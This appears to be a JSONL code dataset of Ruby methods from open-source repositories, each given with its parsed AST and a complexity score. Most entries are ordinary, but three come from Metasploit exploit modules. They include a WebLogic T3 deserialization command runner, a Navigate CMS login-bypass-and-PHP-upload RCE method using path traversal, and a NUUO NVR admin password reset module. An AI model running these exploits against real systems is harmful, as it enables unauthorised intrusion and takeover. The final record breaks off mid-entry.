{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/spec/system/page_objects/pages/ai_usage.rb","start_line":28,"raw_source":"def set_end_date(date_string)\n        # Find the second date input (to date)\n        date_inputs = all(\".ai-usage__custom-date-pickers input[type='date']\")\n        date_inputs[1].set(date_string)\n      end","complexity_score":4.55,"ast_json":"{\"type\":\"def\",\"children\":[\"set_end_date\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"date_string\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"date_inputs\",{\"type\":\"send\",\"children\":[null,\"all\",{\"type\":\"str\",\"children\":[\".ai-usage__custom-date-pickers input[type='date']\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"date_inputs\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"set\",{\"type\":\"lvar\",\"children\":[\"date_string\"]}]}]}]}","id":"4cce7127-9c37-481e-9361-3e3685da573f"}
{"repo_name":"rails","file_path":"./repos/rails/activestorage/lib/active_storage/transformers/image_processing_transformer.rb","start_line":19,"raw_source":"def process(file, format:)\n          processor.\n            source(file).\n            loader(page: 0).\n            convert(format).\n            apply(operations).\n            call\n        end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"process\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]},{\"type\":\"kwarg\",\"children\":[\"format\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"processor\"]},\"source\",{\"type\":\"lvar\",\"children\":[\"file\"]}]},\"loader\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"page\"]},{\"type\":\"int\",\"children\":[0]}]}]}]},\"convert\",{\"type\":\"lvar\",\"children\":[\"format\"]}]},\"apply\",{\"type\":\"send\",\"children\":[null,\"operations\"]}]},\"call\"]}]}","id":"ed69e865-b46e-4f87-aaf7-533709ade346"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core/world.rb","start_line":26,"raw_source":"def initialize(configuration=RSpec.configuration)\n        @wants_to_quit = false\n        @rspec_is_quitting = false\n        @configuration = configuration\n        configuration.world = self\n        @example_groups = []\n        @example_group_counts_by_spec_file = Hash.new(0)\n        prepare_example_filtering\n      end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"configuration\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RSpec\"]},\"configuration\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@wants_to_quit\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@rspec_is_quitting\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@configuration\",{\"type\":\"lvar\",\"children\":[\"configuration\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"configuration\"]},\"world=\",{\"type\":\"self\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@example_groups\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@example_group_counts_by_spec_file\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"new\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[null,\"prepare_example_filtering\"]}]}]}","id":"7fd11a97-9ada-4e11-b80e-3d157db6de7a"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/enterprise/app/models/concerns/safe_endpoint_validatable.rb","start_line":40,"raw_source":"def validate_endpoint_host(uri)\n    if uri.host.blank?\n      errors.add(:endpoint_url, 'must have a valid hostname')\n      return\n    end\n\n    if uri.host == FRONTEND_HOST\n      errors.add(:endpoint_url, 'cannot point to the application itself')\n      return\n    end\n\n    DISALLOWED_HOSTS.each do |pattern|\n      matched = if pattern.is_a?(Regexp)\n                  uri.host =~ pattern\n                else\n                  uri.host.downcase == pattern\n                end\n\n      next unless matched\n\n      errors.add(:endpoint_url, 'cannot use disallowed hostname')\n      break\n    end\n  end","complexity_score":28.3,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_endpoint_host\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"uri\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"host\"]},\"blank?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"endpoint_url\"]},{\"type\":\"str\",\"children\":[\"must have a valid hostname\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"host\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"FRONTEND_HOST\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"endpoint_url\"]},{\"type\":\"str\",\"children\":[\"cannot point to the application itself\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DISALLOWED_HOSTS\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pattern\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"matched\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pattern\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Regexp\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"host\"]},\"=~\",{\"type\":\"lvar\",\"children\":[\"pattern\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"host\"]},\"downcase\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"pattern\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"matched\"]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"endpoint_url\"]},{\"type\":\"str\",\"children\":[\"cannot use disallowed hostname\"]}]},{\"type\":\"break\",\"children\":[]}]}]}]}]}","id":"5a5d927a-ec50-4ce7-8348-4aab04a93951"}
{"repo_name":"forem","file_path":"./repos/forem/app/models/organization.rb","start_line":121,"raw_source":"def destroyable?\n    organization_memberships.count == 1 && articles.count.zero? && credits.count.zero?\n  end","complexity_score":14.73,"ast_json":"{\"type\":\"def\",\"children\":[\"destroyable?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"organization_memberships\"]},\"count\"]},\"==\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"articles\"]},\"count\"]},\"zero?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"credits\"]},\"count\"]},\"zero?\"]}]}]}","id":"a833519b-06ea-498f-8cc1-56e6f14a671d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/audit/type/definition.rb","start_line":76,"raw_source":"def get(key)\n            definitions[key.to_sym]\n          end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"get\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"definitions\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"to_sym\"]}]}]}","id":"6ae0026e-4a62-497b-8081-d43c3b3ccc28"}
{"repo_name":"spree","file_path":"./repos/spree/storefront/lib/spree/storefront/testing_support/capybara_utils.rb","start_line":5,"raw_source":"def wait_for_turbo(timeout = nil)\n          if has_css?('.turbo-progress-bar', visible: true, wait: 1.seconds)\n            has_no_css?('.turbo-progress-bar', wait: timeout.presence || 5.seconds)\n          end\n        end","complexity_score":10.15,"ast_json":"{\"type\":\"def\",\"children\":[\"wait_for_turbo\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"timeout\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"has_css?\",{\"type\":\"str\",\"children\":[\".turbo-progress-bar\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"visible\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wait\"]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"seconds\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"has_no_css?\",{\"type\":\"str\",\"children\":[\".turbo-progress-bar\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wait\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"timeout\"]},\"presence\"]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[5]},\"seconds\"]}]}]}]}]},null]}]}","id":"103fb41c-a180-49b1-8f6e-7a687d47c7f0"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/misc/weblogic_deserialize_badattrval.rb","start_line":791,"raw_source":"def execute_command(cmd, _opts = {})\n    cmd.prepend('/bin/sh -c ')\n    cmd = build_payload_obj(cmd)\n\n    t3_send(cmd)\n  end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"execute_command\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cmd\"]},{\"type\":\"optarg\",\"children\":[\"_opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]},\"prepend\",{\"type\":\"str\",\"children\":[\"/bin/sh -c \"]}]},{\"type\":\"lvasgn\",\"children\":[\"cmd\",{\"type\":\"send\",\"children\":[null,\"build_payload_obj\",{\"type\":\"lvar\",\"children\":[\"cmd\"]}]}]},{\"type\":\"send\",\"children\":[null,\"t3_send\",{\"type\":\"lvar\",\"children\":[\"cmd\"]}]}]}]}","id":"ce717a87-272f-4279-bac5-7e337f270fac"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/hash_alignment.rb","start_line":379,"raw_source":"def good_alignment?(column_deltas)\n          column_deltas.values.all?(&:zero?)\n        end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"good_alignment?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"column_deltas\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column_deltas\"]},\"values\"]},\"all?\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"zero?\"]}]}]}]}","id":"e6c9f9c5-3628-440a-86db-5ef9622d06ea"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/navigate_cms_rce.rb","start_line":86,"raw_source":"def exploit\n    session_id = login_bypass\n    fail_with(Failure::NoAccess, 'Login bypass failed') unless session_id\n\n    print_good('Login bypass successful')\n\n    php = payload.encoded\n    data = Rex::MIME::Message.new\n    data.add_part(php, 'image/jpeg', nil,\n                  \"form-data; name=\\\"file\\\"; filename=\\\"#{rand_text_alphanumeric(10..15)}\\\"\")\n    data_post = data.to_s\n\n    upload = send_request_cgi(\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path, '/navigate_upload.php'),\n      'vars_get' => Hash[{\n        'session_id' => session_id,\n        'engine' => 'picnik',\n        'id' => '../../../navigate_info.php'\n      }.to_a.shuffle],\n      'ctype' => \"multipart/form-data; boundary=#{data.bound}\",\n      'data' => data_post\n    )\n\n    fail_with(Failure::Unreachable, 'Unable to reach target') unless upload\n    fail_with(Failure::Unknown, 'Upload unsuccessful') unless upload.code == 200\n\n    print_good('Upload successful')\n\n    print_status('Triggering payload...')\n    send_request_cgi(\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path, '/navigate_info.php')\n    )\n  end","complexity_score":40.0,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"session_id\",{\"type\":\"send\",\"children\":[null,\"login_bypass\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session_id\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NoAccess\"]},{\"type\":\"str\",\"children\":[\"Login bypass failed\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"Login bypass successful\"]}]},{\"type\":\"lvasgn\",\"children\":[\"php\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"MIME\"]},\"Message\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"add_part\",{\"type\":\"lvar\",\"children\":[\"php\"]},{\"type\":\"str\",\"children\":[\"image/jpeg\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"form-data; name=\\\"file\\\"; filename=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_text_alphanumeric\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[10]},{\"type\":\"int\",\"children\":[15]}]}]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"data_post\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"to_s\"]}]},{\"type\":\"lvasgn\",\"children\":[\"upload\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"/navigate_upload.php\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"session_id\"]},{\"type\":\"lvar\",\"children\":[\"session_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"engine\"]},{\"type\":\"str\",\"children\":[\"picnik\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"id\"]},{\"type\":\"str\",\"children\":[\"../../../navigate_info.php\"]}]}]},\"to_a\"]},\"shuffle\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ctype\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"multipart/form-data; boundary=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"bound\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"data_post\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unreachable\"]},{\"type\":\"str\",\"children\":[\"Unable to reach target\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"str\",\"children\":[\"Upload unsuccessful\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"Upload successful\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Triggering payload...\"]}]},{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"/navigate_info.php\"]}]}]}]}]}]}]}","id":"c7c7d891-b1e2-4887-9d81-2ed72cd0afe5"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/connection_adapters/merge_and_resolve_default_url_config_test.rb","start_line":34,"raw_source":"def test_invalid_string_config\n        config = { \"foo\" => \"bar\" }\n\n        assert_raises ActiveRecord::DatabaseConfigurations::InvalidConfigurationError do\n          resolve_config(config)\n        end\n      end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_invalid_string_config\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"config\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"foo\"]},{\"type\":\"str\",\"children\":[\"bar\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"DatabaseConfigurations\"]},\"InvalidConfigurationError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"resolve_config\",{\"type\":\"lvar\",\"children\":[\"config\"]}]}]}]}]}","id":"60443cc0-31ef-486d-8f15-1a2d3907a27b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/http/nuuo_nvrmini_reset.rb","start_line":10,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'NUUO NVRmini 2 / NETGEAR ReadyNAS Surveillance Default Configuration Load and Administrator Password Reset',\n        'Description' => %q{\n          The NVRmini 2 Network Video Recorded and the ReadyNAS Surveillance application are vulnerable\n          to an administrator password reset on the exposed web management interface.\n          Note that this only works for unauthenticated attackers in earlier versions of the Nuuo firmware\n          (before v1.7.6), otherwise you need an administrative user password.\n          This exploit has been tested on several versions of the NVRmini 2 and the ReadyNAS Surveillance.\n          It probably also works on the NVRsolo and other Nuuo devices, but it has not been tested\n          in those devices.\n        },\n        'Author' => [\n          'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          ['CVE', '2016-5676'],\n          ['US-CERT-VU', '856152'],\n          ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/NUUO/nuuo-nvr-vulns.txt'],\n          ['URL', 'https://seclists.org/bugtraq/2016/Aug/45']\n        ],\n        'DisclosureDate' => '2016-08-04',\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES],\n          'Reliability' => []\n        }\n      )\n    )\n\n    register_options(\n      [\n        Opt::RPORT(8081),\n        OptString.new('TARGETURI', [true, 'Application path', '/']),\n        OptString.new('USERNAME', [false, 'The username to login as', 'admin']),\n        OptString.new('PASSWORD', [false, 'Password for the specified username', 'admin']),\n      ]\n    )\n  end","complexity_score":9.15,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"NUUO NVRmini 2 / NETGEAR ReadyNAS Surveillance Default Configuration Load and Administrator Password Reset\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          The NVRmini 2 Network Video Recorded and the ReadyNAS Surveillance application are vulnerable\\n\"]},{\"type\":\"str\",\"children\":[\"          to an administrator password reset on the exposed web management interface.\\n\"]},{\"type\":\"str\",\"children\":[\"          Note that this only works for unauthenticated attackers in earlier versions of the Nuuo firmware\\n\"]},{\"type\":\"str\",\"children\":[\"          (before v1.7.6), otherwise you need an administrative user password.\\n\"]},{\"type\":\"str\",\"children\":[\"          This exploit has been tested on several versions of the NVRmini 2 and the ReadyNAS Surveillance.\\n\"]},{\"type\":\"str\",\"children\":[\"          It probably also works on the NVRsolo and other Nuuo devices, but it has not been tested\\n\"]},{\"type\":\"str\",\"children\":[\"          in those devices.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Pedro Ribeiro <pedrib[at]gmail.com>\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2016-5676\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"US-CERT-VU\"]},{\"type\":\"str\",\"children\":[\"856152\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://raw.githubusercontent.com/pedrib/PoC/master/advisories/NUUO/nuuo-nvr-vulns.txt\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://seclists.org/bugtraq/2016/Aug/45\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2016-08-04\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]},{\"type\":\"const\",\"children\":[null,\"CONFIG_CHANGES\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[8081]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Application path\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"USERNAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The username to login as\"]},{\"type\":\"str\",\"children\":[\"admin\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Password for the specified username\"]},{\"type\":\"str\",\"children\":[\"admin\"]}]}]}]}]}]}]}","id":"f3879473-caa6-4844-831f-1a6f156dc101"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/resource/group_base.rb","start_line":176,"raw_source":"def ==(other)\n        other.is_a?(GroupBase) && comparable == other.comparable\n      end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"==\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"other\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"GroupBase\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"comparable\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"comparable\"]}]}]}]}","id":"e7b1ffcd-4096-4b5d-9a85-40923634f952"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/bulk_imports/pipeline_worker.rb","start_line":116,"raw_source":"def fail_pipeline(exception)\n      pipeline_tracker.update!(status_event: 'fail_op', jid: jid)\n\n      entity.fail_op! if pipeline_tracker.abort_on_failure?\n\n      log_exception(exception, log_attributes(message: 'Pipeline failed'))\n\n      Gitlab::ErrorTracking.track_exception(exception, log_attributes)\n\n      BulkImports::Failure.create(\n        bulk_import_entity_id: entity.id,\n        pipeline_class: pipeline_tracker.pipeline_name,\n        pipeline_step: 'pipeline_worker_run',\n        exception_class: exception.class.to_s,\n        exception_message: exception.message,\n        correlation_id_value: Labkit::Correlation::CorrelationId.current_or_new_id\n      )\n    end","complexity_score":24.6,"ast_json":"{\"type\":\"def\",\"children\":[\"fail_pipeline\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"exception\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pipeline_tracker\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status_event\"]},{\"type\":\"str\",\"children\":[\"fail_op\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"jid\"]},{\"type\":\"send\",\"children\":[null,\"jid\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pipeline_tracker\"]},\"abort_on_failure?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"entity\"]},\"fail_op!\"]},null]},{\"type\":\"send\",\"children\":[null,\"log_exception\",{\"type\":\"lvar\",\"children\":[\"exception\"]},{\"type\":\"send\",\"children\":[null,\"log_attributes\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"Pipeline 